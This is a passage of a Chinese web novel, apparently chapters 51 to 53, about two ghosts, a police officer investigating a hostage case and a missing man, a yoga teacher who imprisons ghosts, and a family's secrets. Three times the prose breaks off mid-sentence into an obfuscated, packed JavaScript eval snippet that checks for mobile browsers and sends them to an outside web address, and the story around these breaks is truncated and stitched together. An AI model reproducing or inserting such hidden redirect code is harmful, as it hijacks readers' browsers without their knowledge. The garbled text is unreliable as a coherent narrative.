俗话说,老虎不在家猴子称大王,早些年由于太过无组织无纪律,地府不得不派人出面整顿,收了几百个恶鬼后,才勉强维持现在看似和平的局面。 每个鬼都想活下去,一些争斗在所难免。 五年前红头差点被别的鬼分食,是绿头救了她,自那之后两姐妹一直相互扶持到如今。 “是啊。”绿头颇为认同。 “话说,你和老大是本家诶,你们都姓严。”红头像吐西瓜籽似的往下吐骨头,她看到几双猩红的眼睛在草丛里垂涎欲滴,“你们会不会五百年前是一家,所以才这么有缘分。” 绿头把手里的手臂折成两半,一段一段扔下去,嘴角带着笑,“说不定呢。” “肯定是。”红头学着绿头把手臂折断,冲底下的鬼说,“接着。” 扔完发表一句:“这个小区的鬼挺多啊。” “住宅区人气旺。” “也对。” 这时,由远及近的警车“呜呜呜”开进了小区。 “有瓜,走,看看去。”红头吃的也差不多了,干脆把手里的东西都扔下去,和绿头一起飘去吃瓜。 * “你们别过来!” 梁楹到的时候,别的同事已经到了,她拨开人群走过去,蛋糕奶油糊了一地,一男人从后勒着一个大概二十来岁的女孩从厨房挪出来,手里还拿着把刀,女孩满脸眼泪,嘴里一直在哭诉:“爸爸,你冷静一点,求求你,爸爸...” 他身后是一个女人,没有完全失去意识,捂着伤口费力喘气,手已被鲜血染红。 “该冷静的是你妈不是我,我们这个家快被你妈搞疯了!”男人脸色通红看向地上的女人,“简蜜,我再问一遍,你离不离婚!” 女人捂着伤口躺在地上不说话。 “说啊!说啊!” “我受不了,我真的受不了,你放过我吧,放过我吧!” 红绿两头扒在窗户上往里看,忽然红头说:“诶,那个女孩,不是上次抓珍珠时,来问是不是她的猫的人吗?” 绿头定睛一看,果然是。“好可怜的小姑娘啊,死了猫,爹娘还搞这一出。” “要不我们帮帮她吧?” “不行。”绿头赶紧拒绝,“我们不能干涉人界秩序。” “也是,那就交给警察吧。” “你先把刀放下,你有任何诉求都可以好好说,夫妻一场,你又何苦...” “你们懂个屁,滚,今天我和她要是离不了婚,我是不会罢休的。” “这个点民政局都下班了,就算要离,也得明天,你看这样行不行,你先把你女儿放了,我们..” “我不管,我今天一定要拿到离婚证,我...啊” 趁他说话分神的空隙,离他最近的警察看准时机,一把上前,夺下他的刀,将他摁在地上。 “这...”怕他再次伤人,梁楹连忙捡起地上的刀,却发现它很轻,这是把...假刀。 “我怎么会伤害我女儿。”戴上手铐的男人冲一旁的女孩宽慰一笑,“琪琪,对不起。” 被解救下来的乔琪蹲在地上嚎啕大哭。 “我们也回去吧。” “行。” 看完热闹的红绿两头刚飘下来准备出小区,不约而同发现了一件新鲜事, 竟然有鬼在发传单。 “会不会是鬼节庆典的传单?”红头问。 “不知道,去看看。” 两人飘到发传单的鬼面前,各自伸出一只手,发传单的鬼头也不抬,机械给了两张,红头打开一看, 你是否还在为生前的遗憾烦恼 10栋101,帮你完成未了心愿。 “这什么?刘老板万事屋分店吗?”红头问发传单的鬼。 发传单的鬼垂头丧气缓缓摇头,鬼当了牛马看起来更像鬼了。 “别问了,走吧。” “好吧。”红头把传单随便揣进口袋,飘了一段路后,她问,“你有什么没完成的心愿吗?” 虽然她们在一起这么久,但彼此都没有探听过对方是怎么死的,为什么没有投胎。 不愿投胎的人,都是带着伤口在活。 “有也没有吧。”绿头回答,“你呢?” “我啊,其实都快忘了。” 她们没再继续这个话题,回了学校。 * 昨晚的挟持案,今天各个媒体已经发到网上了,不过对于警察局来说,不过是众多案件的一起。 梁楹今早照常进局里,一进门就看到一个头发微乱,穿着朴素的女人,背对大门夹杂着哭腔,冲里面的民警不断鞠躬乞求。 “求你们了,你们再找找吧,再找找吧,我儿子真的没有回家,他真的不见了..” “我们已经在找了,可是监控没拍到,你之前也说他经常离家出走,这次会不会也是同样情况?” “不会的,他再离家出走也没这么久不回来,他一定是出事了,求求你们找找吧...” “什么情况?”梁楹问。 “两个月前,她过来报警说她儿子不见了。她儿子高中毕业,没考上大学,就在附近的一个房产中介公司做中介。两个月前,他中介同事接到他信息说,他不干了。当时也没在意,没想过,过几天,他妈上门说他儿子几天没回家,问有没有看到,同事就说他已经辞职了。他妈给他打电话发信息都没回,于是过来报警。”同事言简意赅说明。 “有线索吗?” “据他儿子的好朋友说,他失踪前几天说他干完这单想拿钱出去旅游,我们查了他出行记录,有火车票的购买记录,但他没有上车,应该还在市里没出去,但找到现在我们也没有头绪。” “最后一次出现在哪里?” “盛辉小区,就是昨晚挟持案的那个小区,那个小区最近不太平。” 梁楹听到这四个字,心下一惊。 “他有出小区吗?” “监控没拍到,那天监控升级,不确定他最后有没有出小区,但我们警察走访了他负责的几个房东,都说没见过他。” 弑母,失踪,挟持,还有昨晚谢嘉阳说的非法拘禁。 这其中一定有某种关联。 “您好...” 身后传来怯怯的喊叫声,梁楹一回头,发现是昨晚被爸爸挟持的小姑娘,看样子一夜没睡,眼下黑眼圈很重。 “怎么了小妹妹?”梁楹上前询问。 “我爸现在还好吗?我能去看看他吗?” “我理解你的心情,但是目前案件正在审理中,家属还不能探监。” 乔琪一听,眼泪扑簌簌流了下来。 梁楹递给她几张纸巾,安慰道:“你不用太担心,我们有了结果会尽快通知,让你们见面。” 乔琪埋在纸巾里哭,边哭边说:“爸爸没有错,是妈妈,妈妈变得太奇怪了。” 像是下了某种决心,她抬起头,眼眶通红地说:“而且爸爸根本没有伤害妈妈,那一刀..是妈妈自己划的!” * 中午食堂的菜有些辣,趁出来晒晒太阳,合成一点维D的吴昭州去便利店买了酸奶。结完账想离开时,在就餐区看到了小文姐。 她正在吃便当。 明明公司食堂提供饭菜,但来了快一周,基本没在食堂见过她,偶然在小区碰到那晚,她也是提着便利店的袋子。 吴昭州看了看手里买一送一的两瓶酸奶,犹豫了一下还是走了过去。 “小文姐,好巧。”吴昭州放下一瓶酸奶,对方冷淡看过来,他急忙解释,“多买了一瓶,如果不介意的话...” “谢谢。” 吴昭州注意到拆开的便当基本没怎么吃,看她的样子,似乎也没有再进食的欲望。 吴昭州尴尬站了几秒,说:“那我先走了。” “你喜欢便利店吗?” 他听到小文姐这么问他。 “嗯.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864321|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .”吴昭州还是头一次被人这么问,便利店,有什么特别的地方吗?这会不会是通过便利店来考他学术上的问题,可是什么会跟便利店有关呢。 吴昭州正苦思冥想之际,听到小文姐“扑哧”一声笑了。 公司每个人都说小文姐漂亮,吴昭州也是这么认为的,只是每次看到小文姐,他都觉得她像一株十分缺水的植物,所有的养分只够维持表面的美丽。 如今她这发自内心的一笑,吴昭州觉得,她还是有一点养分在心里,只是不想表达。 “回去午睡吧。”小文姐将昙花一现的笑容敛起指了指酸奶,“谢谢你。” 吴昭州耳根不知为何烧了起来,囫囵说了句“不客气”便离开。 “欢迎下次光临。” 便利店的自动门这么说。 “我喜欢便利店。” 文霜望着烈日外的人, “你也喜欢对不对。” 由于小文姐的那句话,晚上吴昭州回家时,刻意观察了一下,发现街上随处可见都是便利店。 相似的店内布局,相似的产品,大家不会像逛超市那般,这看看那看看,大部分都是有目标地进去,从货架上拿完再很快结账离开,不会过多停留。 穿校服的学生,带小孩的妈妈,不想做饭的上班族,他们在便利店短暂相会又离开。 便利店员工拿着一张新海报,贴在原本“本周新品,桃肉椰子冰,给你清爽夏季”的海报上。 “日日有新品,天天不重样,本周新出便当...” 吴昭州望着花里胡哨的海报,走进去买了一盒便当。 * “吸气...呼气...好,身体放松,跟着我再来一遍..” 三居室的房间全部打通,显得空间格外宽敞。 向云黛一进屋里就看到舞蹈房里专有的两米多长的镜子墙,镜子前坐着十来号人,老老少少都有,队伍最前面坐着的女人,长发盘起,露出纤细脖颈,身材匀称,但不是单纯的瘦,抬臂能看到隐约的肌肉线条。 女人在镜子里发现了她,视线并未多做停留,继续自己的动作。 这是向云黛第三次来这,前两次都是谢白带来的,今天谢白有事,便要向云黛自己来。 “好,先做到这,休息一下,喝点水,桌上也有茶点,大家随意。” 女人微笑说完,站起身往房内的小房间走去,向云黛默默跟上。 房门一开,漆黑室内齐刷刷亮起一只只血红眼睛,即使已经有了心理准备,但向云黛还是免不了震撼一下。 关勤打开灯,如果这时有人经过,只能看到一间普通更衣室。 “他要多少?”关勤把门关上,用卖西瓜一般的口吻问向云黛。 “十个。”向云黛用余光瞥向被结界困着,拥挤围坐成一团的鬼。 “自己挑吧。”关勤对着镜子补妆,一副自便的松弛模样。 “我..我不会...”向云黛大吃一惊,期期艾艾看向关勤,“您可以帮一下忙吗?” 关勤正用散粉压住脸上泛起的油光,专注得好似没听见向云黛的请求。她有些尴尬,在心里怪起谢白来。 我再也不来了。 向云黛正想着,一只手从结界下伸出,抓住了她的脚腕,她一声惊呼,向后退又不能,差点摔在地上。 “放我走吧,我求你们了,我想回家,我妈还在等我回家,放了我,求求你,求求你。” 说话的男孩看上去不过十八九岁,衬衫上满是凝固的血迹,铁青脸上淌着泪,不住朝向云黛乞求。其他鬼见状,也不约而同开始求饶。 “我...我...” 关勤终于补好了妆,从镜子里冷漠看着手足无措的向云黛,以及耳边嗡嗡嗡的求饶声,她慢条斯理上前,高跟鞋跟精准踩穿抓着向云黛脚腕的手,小鬼发出惨叫。 求饶声停止了。 “放你们出去?去哪?你们已经死了,回什么家?” 关勤冷漠踢开那只手,同时转向懵懵懂懂的向云黛,在心里唾弃谢白竟然喜欢这么一个蠢货,她不想多浪费时间,劈手拿过向云黛手里的葫芦,装了10个鬼魂进去,利落扔给向云黛。 “回吧。” 向云黛抱着葫芦,模样委屈往外走时,听到关勤对她说:“云黛妹妹,你可得好好跟着谢白,不然就你这样的,分分钟被吃的渣都不剩。” 关你屁事。 向云黛背对她翻了个白眼。 而结界的角落里,一只鬼紧紧盯着向云黛离去的背影。 52. 第 52 章 七月,学校正式放假。 暑假期间学校不允许学生住宿,学生一走,偌大的校园空空荡荡。学校对宿管的要求也少了,只要不出意外,并不一定要宿管时刻在岗,拾冬已经三天没看到C栋那栋楼亮灯了。 刘姐回老家过暑假了,临走前言言想强行把珍珠带走,珍珠宁死不屈,就差上嘴咬了,最后红头绿头哄了半天,言言才抽抽搭搭放开珍珠,顺便恶狠狠瞪了一眼拾冬。 不是,这和我有什么关系。 拾冬表示很无辜。 “姐姐,我快要学校门口了。” 收到信息的拾冬回了个好,拔下充满电的手机,关上空调,拿过宿舍钥匙起身,珍珠十分有眼力劲儿跟上。 吴昭戈这个小孩有点烦。 拾冬被他接二连三的语音方阵轰炸后,又在吴昭州游说下,同意了去他家吃火锅的提议。 不过她也带有私心,她想去盛辉小区看看,顺便去找中介。 这么热的天吃火锅,也不知谁想出来了。 即使都快六点半了,太阳还是刺眼。 拾冬撑着伞,红绿两头一左一右充当冷气扇。 “老大,珍珠生前是不是认识你?” “应该不是,没印象见过这么丑的狗。”拾冬毒舌回答,果不其然,珍珠一听立马汪汪汪吠起来。 “哦哦,不是,珍珠怎么会丑,不丑,你不丑。”红头望着黑不溜秋,牙齿还有点地包天的珍珠,违心安慰起来,见珍珠不叫了,她凑到拾冬耳边说,“珍珠长得像西游记里的黑熊精。” 珍珠:?! “哈哈哈哈哈...” 戳中笑点的绿头肆无忌惮笑起来,珍珠气狠了,上去就是一口,绿头一边躲一边叫屈“又不是我说你像黑熊精,对不对..黑珍珠..” “汪..汪...汪!汪..汪..汪!” 一行人笑闹着到了学校大门,吴昭宁已经在那等着了。 过去不远,吴昭宁提前叫好了车,两人上车后,由于实在没有共同话题,干巴巴说了两句话后,各自玩起了手机。 拾冬本来也不爱和人尬聊,她打开手机看刚刚没看完的微博。 是前些天在网上引起热议的杨家罗生门事件。 一开始媒体发出的那篇文章奠定了杨枝原生家庭不幸福才导致弑母的印象,但随后杨树发微博,一条条反驳杨枝在文章中控诉自己的罪状。 她女儿生病,家里已经卖了一套房,最后实在没钱了,她妈妈才不得已拔了呼吸机。 而杨枝在文章里提过的生意失败,为什么不卖哥哥的房,杨树说两套房,一套自住,一套是郊区的安置房,房产证还没拿到,根本卖不了。 “杨枝,人在做天在看,爸死的早,妈没改嫁,把我们拉扯长大,小时候天还没亮,她就要出去卖早点,我也要跟着帮忙,而你因为年纪小,妈舍不得,冬天那么冷,我在外面挨冻,眼睫毛都冻成冰渣子,你睡在被窝里,睡醒就吃我们带回来的早饭,重男轻女?杨枝,你说这话不得好死!” 这条微博一出,之前在网上同情的杨枝的网友立马倒戈,纷纷@桐岭公安,呼吁判她死刑。 发杨枝文章的是当地很有影响力的媒体,网友也纷纷在其官网下谴责,不求真,听信别人一面之词,助纣为虐。 媒体连忙向狱中的杨枝求证,很快,杨枝的回应来了。 “卖的那套房是嫁妆,本来就是杨枝自己的房子,其次,文章中提到的两套房均是杨树市中心两百平的房子,如果算上郊区的安置房,那他们总共有三套,并且安置房其实是可以买卖,只是因为房子已经租出去了,他不想陪租户违约金,所以说卖不了。” “卖早点我只比你去得多,不会少!” “不得好死的是谁?杨树,你春秋笔法,摆弄是非,愚弄大众,迟早要遭报应!” 文章一出来,见风使舵的网友又开始涌到杨树微博下,要他出来解释,用早些年的流行语就是,网友们如同在瓜田里上蹿下跳的猹。 不过至今杨树还没有回应,有人说是杨树理亏,拿不出证据不敢回应了。 “想也知道啊,单亲家庭,重男轻女,又不是新鲜事了。” “如果真像杨树说的那样,妈妈含辛茹苦把女儿抚养长大,我就不信哪个女儿下得去这个手!” “女儿是最舍不得妈妈受苦的。” 拾冬翻着微博,眼前一黑又一黑,杨家这场纠纷要是不能尽快结束,她的五万块什么时候能拿回来?! 一想到这,又想到是为了孟永那个无情老头,还在和他冷战的拾冬就更气了。 * “阿嚏。” 孟永打了个喷嚏,刘友见状调侃是不是得罪拾冬了。 “谁敢得罪她,那丫头那么冲。”孟永喝了口酒,老旧的电风扇左右摇头发出卡嚓卡嚓的锈声。 “你这风扇十几年了,还不换?” “这不能用,换什么,花那钱。” “小冬那丫头学的你的抠门吧。” 孟永不置可否笑了,“我可不抠。” 刘友靠着椅背,身体放松抽着烟,想起刚刚看过的房子,点头道:“确实”过了几秒又问,“这事什么时候跟她说。” “过段时间,房子再通通风,那丫头正气着呢。” 给她发信息也不回,肯定在为前些天拒绝她过来住这事生气。 “你们爷孙俩啊..”刘友感叹摇头,一手夹着烟,另只手给孟永倒酒,“有缘。” 孟永嚼着花生米笑笑没反驳,话锋一转问:“你今天怎么有时间来我这,有事?” 刘友吃不了人吃的菜,只能喝点自己带来的小酒,他闷了一口酒,说:“确实出了件怪事。” “什么事?” “鬼不见了。” 孟永:“?” 刘友酒杯一撂,开始科普:“你别以为就你们人间有秩序,我们鬼界也有。投胎的和不投胎的都得登记备案,我现在虽然被地府除名了,但我这万事屋可是响当当的名声..”说到这刘友十分感谢加了句,“多亏了咱小冬。” “前几年地府找上我,说地府投胎的人数对不上,本应该来投胎的鬼少了不少,问是不是来我这了,要看我的员工名单,我给看了,他们没查出什么来。但这事实在诡异,便把我聘为地府编外人员,要我组织一个鬼口普查,有多出来的鬼及时登记备案,每半年和地府对一遍,前些天地府的人来了,这一对,对出问题来了..” “本应该去地府投胎的鬼,少了五千不止!” “这么多?”孟永大吃一惊。 “是啊,地府的也和你一个表情,这瘪犊子回过神反咬我一口说是不是我没普查到,我当下就不高兴了,老子现在又不归他们管,帮他们忙是旧日情分,还在这挑三拣四。”刘友忿忿不平。 “后来怎么解决的?” “我哪知道,他们被我一顿骂,灰溜溜走了。现在指不定在底下焦头烂额对数,活该,谁要他们净养一些草包,一个干实事的都没有。” 孟永喝了口酒,想起前些年经常能碰到来找他了却心愿的鬼,不过这一两年确实少了不少。 鬼不见了? 怎么会。 “这事你怎么看?”孟永问刘友。 “我能怎么看,鬼吃鬼再正常不过,不过少这么多,我也感觉不对劲。”说完想起什么,一拍大腿,问,“你记不记得我们在吴村那次,小冬被鬼围攻,当时有股力量你察觉到了吗?” 孟永埋头吃菜。 “在场任何一个人都不可能有那么强的力量。” “你想说什么?” “小冬,到底是哪来的?”刘友很早之前就想问了,“老孟,你想想,她一个小姑娘,又是孤儿,又能见鬼,有些恶鬼饿狠了吃小孩那是常有的事,小冬小时候是怎么逃过那些恶鬼的,你想过没有?” “你到底想说什么?”孟永停下筷子看向刘友,正色道。 “我在想,这些会不会和小冬有关?” 刘友话音刚落,就听到桌子发出一声巨响,孟永拍着桌子站起来,“你放屁,那丫头是我看着长大的,她有没有问题我最清楚。你们地下少了鬼,来我们人间找,找不到就想找个替罪羊了事对吧?我告诉你,门儿都没!” “你别激动别激动啊..”刘友忙拉着孟永坐下,拍了一下自己的嘴,“我不是那意思,我怀疑谁也不能怀疑小冬啊,她跟我闺女似的..” 孟永白了他一眼,不吭声。 “我这不好奇吗?而且我是来提醒你的。” “提醒什么?” “虽然我老说地府的鬼是一群草包,但是真要出了什么事,他们卯起劲来查也是有一等一的高手在,小冬那么特殊,保不齐会查到头上来,要小冬最近避避风头,特别是马上到中元节了,可不能出乱子。” 刘友说起来还有点小激动,一年一次,堪比过年,听说这次天上地下的神仙都会来夜游,他可得好好饱饱眼福。 “你们老大也会来?” 刘友嘴角一撇,眼睛左右瞟了几下,靠近孟永偷偷摸摸地说:“据小道消息,听说他早死了!” “....” 你这么兴奋干嘛。 “阿嚏。” 在家纳凉的郁之打了个喷嚏。 * 难得的周末结果还要加班,大概是感受到了他的怨气,在做样品处理时,即使全身防护,并在通风橱里操作完成,还是一不小心染上了DTT的气味,能隐约闻到一股臭鸡蛋味。 知道就不图方便,戴两层手套了。 吴昭州在便利店买了一瓶柑橘味的驱蚊水,朝手上身上喷了喷。 快走到小区门口时,他看到了小文姐,手上又提着便利店的袋子,盖过腿的长T恤,趿着凉拖,长发随意扎了个丸子头,有一种只是出来买个饭没必要花时间收拾的随意。 他默默跟在身后,没有上前打招呼,快到小区门口时,看到等在小区门口的吴昭宁和拾冬。 “哥~”吴昭宁朝越走越近的吴昭州挥手。 拾冬想着两手空空去别人家不合适,于是在小区门口买了个西瓜和一点其他水果,两人正要进小区时,吴昭宁说吴昭州马上也到小区了,问要不等一下,三个人一起。 拾冬没意见,抱着西瓜等了十分钟,就看到吴昭州了。 “等很久了吗?”吴昭州见小文姐进小区了,于是加快步子走向拾冬她们,顺手接过了她手里的东西。 “几分钟而已,哥你喷香水了吗?” “没有,是驱蚊水,我天天在实验室做实验,哪能喷香水。” 吴昭州本意想让小文姐先上电梯,但两女生不知道他这个用意,没一会儿就缩小了和小文姐的距离,四人同时上了一部电梯。 “小文姐,好巧。”吴昭州说完意识到,这话好像只要见到小文姐就会自动蹦出来,下次得换个别的词,他自然按下6和15。 “到公司加班?” “啊,对。” “闻到DTT的气味了。” 吴昭州没想到小文姐鼻子这么灵,他明明喷了很多驱蚊水了。 “一号实验室有硫酸铜,下次可以用那个清理,不过得及时清洗,不然...”小文姐在这里停下了。 “手上会有黑色或者橙色的沉淀物。”吴昭州get到小文姐的用意,立马回答出来。 文霜扑哧笑了。 拾冬站在后面,这个角度正好对着文霜的侧脸,总觉得有点眼熟。 这时文霜似有所觉,回过头来,拾冬适时转向别处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红绿两头在吴昭戈家待了一会儿,闲不住飘走了,正愁去哪,红头提议要不去传单上的10号楼看看什么情况,绿头也好奇,两人一拍即合,当场决定去10号楼看看。 红绿两头刚到门口,就看到一面很大的镜子墙,镜子里映照了两个女人的身影,从表情判断,她们不太熟。 “简蜜的确在我这报了课,但关于她家庭冲突这事,我不太了解。” 梁楹直视着眼前的女人。 标准的美人脸,特别是一双眼睛,眼尾微微上挑,左眼下方的泪痣,单单一瞥,就足以夺人视线。 “简蜜除了来你这上课,平时你们没有接触吗?” 水开了,玫瑰花不断在滚水中翻腾,关勤提起茶壶把手,给梁楹倒了杯茶,说话轻声细语,“她偶尔会来我这坐坐,跟我聊聊天。聊天内容嘛,无非是一些家长里短。” “比如?” “她老公出轨很久了,一直想跟她离婚,简蜜高中就和他在一起,女人呐,难免念着过去那点情分,不肯离又留不住,三天两头就来我这哭。” “刚刚你说偶尔,怎么现在又变成三天两头了?你说不了解她的家庭,扭头又说知道她丈夫出轨。”梁楹抓住她话里的漏洞。 关勤嘴角笑容一顿,但很快回复:“她丈夫出轨这事,不止我知道,瑜伽室很多人都知道,我以为你们警察在探案的时候就了解过,所以没特意提。而且她前期的确来的频繁,不过最近有一阵没来了。” “为什么?” 关勤喝着茶,淡淡回复:“她不续课了,不是我的客户,我也没义务去倾听别人的情绪垃圾吧,毕竟这东西听多了,自己也不好受。” 梁楹没再问,环顾起房内布局来,四面都打通了,没什么视线死角,不过镜子墙后有一扇关着的门。 “那是我的更衣室,需要打开给你看看吗?”关勤主动问道。 红绿两头听了几句意识到这是在说那次她们亲眼目睹的挟持案,其中一个人是警察。 两人正听着津津有味,就见她们起身,走了一小段路后,打开了关着的门。 “你看就是这样,比较乱,不要介意。” 关勤大大方方打开灯,不到十五平的房间,一览无余。 这时,外面有人喊:“关老师...” 梁楹循声望去,是一位头发花白的老人,看上去很有精气神。 “兰奶奶你来了,你总是第一个到。” “害,我孤寡老人一个,什么都不多,就是时间多。”兰珍边说边走过来,“关老师,又招新学生了啊?” “哪里,这是梁警官,是来找我了解一下简蜜。” 兰珍听完,脸上的笑容淡了几分,讪讪点头:“这样啊,简蜜那孩子,也是命苦。丈夫出轨,女儿也不省心,向着爸爸,净说假话。” “什么意思?” “她女儿早和她爸小三认识了,两人玩得可好,乔振东出去和小三约会,都是乔琪那丫头帮忙打掩护。” “你怎么知道?” “我在小区门口看到过。” 这时,从外面又三三两两进来几个人,看样子是来上课的,梁楹没有久留,说了句打扰就离开了。 虽然兰珍说的和乔琪说的有很大出入,但梁楹没有站任何一方,另外和关勤接触下来,她这人说话滴水不漏,很难把她的话作为判断依据。 等回家再整理思路吧。 她现在要去谢嘉阳家。 绿化带里,红头和绿头躲在里面。 “你也看到了对吧。” 红头点头。 更衣室开门的那一瞬,她们都看到了囚禁在结界里的叶子。 53. 第 53 章 门铃响起的时候,谢嘉阳正在给孩子换尿片,死死憋着气,生怕尿骚味冲进鼻子。谢建安在一旁自然地拎起尿不湿,掂了掂,语气宠溺自然, “瑞瑞尿了这么多,看来今天的水分补充到了,真棒。” 谢嘉阳无法理解棒在什么地方,他只想赶紧把手上交待的任务做完,他提起没他小臂一半粗的腿,还没进行下一步动作,就被谢建安呵斥:“你轻点!” “那你来吧。”谢嘉阳气也憋到极限了,他站起身往旁边呼吸了一口,“我还有个报告没写完。” “天天工作工作,这是你儿子,你多跟他培养培养感情,省的你一抱他就哭。” “我天天上班,回来还要带孩子,我也很累好不好..” 谢建安望着儿子疲惫的模样,想责怪又不忍心,门铃在这时响了。 在客厅看电视的李翠萍应了一声“来了”,踢踢踏踏走去开门,门外站着一女人。 “你是...?” “您好..”梁楹亮出自己的证件,“我找谢嘉阳。” 家里突然来了个警察,屋内气氛都跟着严肃起来,舒颖正在卧室睡觉,李翠萍上前,摁下把手,把半掩的门轻轻关上,谢建安端上自己平时都舍不得喝的好茶。 “不必麻烦了。”梁楹感受到了两夫妇的局促,看了眼坐在斜对面一言不发的谢嘉阳,用公事公办的口吻说,“谢暄是你们领养回来的孩子对吧?他现在在哪?” 好久没听到这名字了,李翠萍心一惊,但强装镇定冷静下来,“为什么这么问,他现在在墨尔本留学。” “没有。”谢嘉阳毫不留情拆穿母亲的谎言,“我去墨尔本找了,没有这个人。” “他学校有两个校区,你可能找错了。”谢建安倔强道。 “不要再撒谎了!” 谢嘉阳一声怒吼吓到了摇篮里的孩子,李翠萍忙走过去把孩子抱进卧室,临走前对谢建安使了个眼色。 谢建安喝了口茶,喝完想起自己晚上喝茶会睡不着,不过看这情形,就算不喝茶,他今晚也怕是很难睡好,索性又慢慢品了一口,满嘴茶香之后是残留在舌尖的那点涩。 他放下茶杯,冲一脸怒意的谢嘉阳上下摆了摆手,“别吵醒颖颖,她夜里一个人带孩子不容易。” “谢嘉阳说你们非法拘禁了谢暄,这属实吗?” 谢建安冲对面的儿子笑了,随后摇头否认:“我好歹也是个大学老师,拘禁这种犯法的事可做不出来。” “那谢暄呢?” 谢建安还在组织语言,李翠萍抱着孩子从卧室走出来说:“不知道。” “梁警官,一年前我们给谢暄联系了学校让他去留学,临出发前几天他给我们发了条信息说他走了,不出国,要我们别再找他。 谢暄虽然是我们领养的,但平心而论,吃穿用度和亲生儿子没什么两样,他发了这条信息,我们把他能去过的地方都找遍了,都没有找到,我们就没再找了。” “为什么不报警?人口失踪是大事。” 李翠萍感到鼻头发酸,眼眶慢慢变红,随后眼前起了层雾,她拍着怀里乱动的孩子,望向一脸不信的谢嘉阳,什么都没再说。 “是谢暄自己想走,让他走也好..” 谢建安刚说完,谢嘉阳腾一下站起,“谁说他想走,一定是你们把他们逼走的!” 谢建安不搭腔,起身从电视柜下的抽屉拿出一个手机,点了几下发现没电后,走到插满插座的排插旁,随便找了根数据线插上,“梁警官,一些家事我不便跟你透露,既然你是为了谢暄来的,那我告诉你,他没有失踪,他给我发过信息报平安。” 谢嘉阳听完,大阔步冲向谢建安,一把夺过手机,头像是谢暄没错,报平安的消息一共三条,分别是去年的10月,今年过年,以及两个月前,消息内容也很简单, “平安,勿念。” “就这几条短信你们就能认定是他吗?一定是你们教唆他走的,我要给他打电话。”谢嘉阳直接拨通对方视频通讯,连续打了几个没接后,他一脸了然,“我就知道是假的,你们骗了我一年还不够,当着警察的面还要继续骗我,他到底在哪,说啊!” 声音太大,吓坏了李翠萍怀里的孩子,他大声啼哭起来,谢建安再也忍不住,一声清脆的耳光声后,他仍顾虑卧室休息的儿媳,压着愤怒,颈边青筋暴起,“你不要再执迷不悟,也不要互相折磨了!” 谢嘉阳垂头看向手里的手机,谢暄的头像还是当初他们一起去爬山时一起拍的日出,那是他们最后一次出去玩,那天清晨,周围有人笑闹欢呼说话,他们牵着手并肩站在山顶,望着冉冉升起的朝阳,几秒后手心一空,随即听到谢暄说: “我们就这样吧。” 卧室门不知何时开了,因为熬夜而满面油光,脸颊长着几颗红肿痘痘的舒颖,讽刺笑出了声:“真精彩。” “梁警官,如果没什么要询问的,剩下是我们家事,您请回吧。” “好。” 门一开一合后,一家人坐在沙发上一时间不知从哪开头,舒颖抱着孩子,这个刚出生不到两个月的宝宝,正冲妈妈兴奋地手舞足蹈,她眼前一模糊,急忙别过头,一动作,眼泪跟着掉了下来。 “颖颖...我们不是有意瞒你。”李翠萍颤着手搭在舒颖肩上,“是我们也不知道怎么跟你说...” 舒颖没有说话,破喉的哭泣声即使压抑也断断续续,传到在场每一个人的心里,潮湿的很。 “对不起。”谢嘉阳喉咙干涩,拿起梁楹没喝的那杯茶一口灌了下去,“你别怪我爸妈,都是我的错。” 舒颖不说话,哭声切切。 她是谢嘉阳低三届的学妹,两人在学校是同一社团,偶有交集,但仅限于点头之交。 大学毕业后,舒颖恰巧和谢嘉阳同一家公司,谢嘉阳是他们组的组长。 沦陷的故事情节老套到写成小说也没几个点击量,但舒颖恰巧就是贡献点击量的人。 她喜欢谢嘉阳上班认真的模样,也喜欢他绅士体贴,虽然在犯错时会毫不留情地骂人,但事后也会发长信息来指导自己没头绪的方案,对于刚毕业的舒颖来说,她太需要这份温暖了。 舒颖是农村出来的孩子,她付出了比别人十倍的努力才考上大学,才走出那个小村子,她不想再回去了,她得想办法在这个城市待下去。 谢嘉阳出身好,爸爸是大学老师,妈妈是三甲医院的退休医生,说没有私心,舒颖自己都不信,可这世上,谁没有私心,谁不想让自己生活得好一点。 即使知道谢嘉阳不喜欢自己,她也豁出去了。 自尊算什么,她想让自己下一代有所依靠,而不是和自己小时候一样,睡在四面漏风的房子里,连床暖和的被子都没有。 舒颖太想得到谢嘉阳了,以至于忽略了他在公司聚餐时,总是会带来的弟弟,谈起弟弟时,眉眼含笑的模样,还有他每条出去游玩的朋友圈,都是和弟弟一起拍的。 “你们兄弟俩感情真好。”舒颖一边在他朋友圈下面回复,一边心酸自己约他却被拒绝。 发生关系那天,她还以为是自己终于感动了他,即使那天他喝得酩酊大醉,说出来的话前言不搭后语,她还是如同献祭一般,心甘情愿地张开双腿,躺了下去。 好贱,舒颖,你怎么那么贱! 她从未想过自己赞叹过的兄弟情深下是这样一滩臭水沟般的呕吐物,别人弃之如敝履的东西,被自己当成宝捧到了手心。 舒颖,你活该,你活该被妈妈从小骂做是赔钱货,贱皮子,妈妈没有骂错,你就是贱,你就是贱! 舒颖一阵反胃,抱着孩子吐了出来。 李翠萍连忙起身从她怀里夺过孩子,生怕吐到她孙子身上。 舒颖泪眼朦胧看着这一家人,曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 